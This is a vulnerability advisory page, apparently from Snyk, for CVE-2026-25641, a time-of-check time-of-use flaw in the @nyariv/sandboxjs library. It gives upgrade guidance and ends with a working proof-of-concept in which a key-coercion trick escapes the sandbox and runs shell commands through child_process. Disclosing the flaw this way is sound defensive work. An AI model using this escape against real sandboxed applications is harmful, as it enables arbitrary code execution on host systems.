Time-of-check Time-of-use (TOCTOU) Race Condition Affecting @nyariv/sandboxjs package, versions <0.8.29
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published8 Feb 2026
- disclosed5 Feb 2026
- creditCristian-Alexandru STAICU
Introduced: 5 Feb 2026
NewCVE-2026-25641 (opens in a new tab)How to fix?
Upgrade @nyariv/sandboxjs to version 0.8.29 or higher.
Overview
@nyariv/sandboxjs is a Javascript sandboxing library.
Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in addOps() and other methods in executor.ts, which do not enforce the type of property keys. An attacker can execute arbitrary code on the underlying system by supplying a malicious object that passes key sanitization and subsequently manipulates key coercion to use an unsafe type when the key is accessed.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();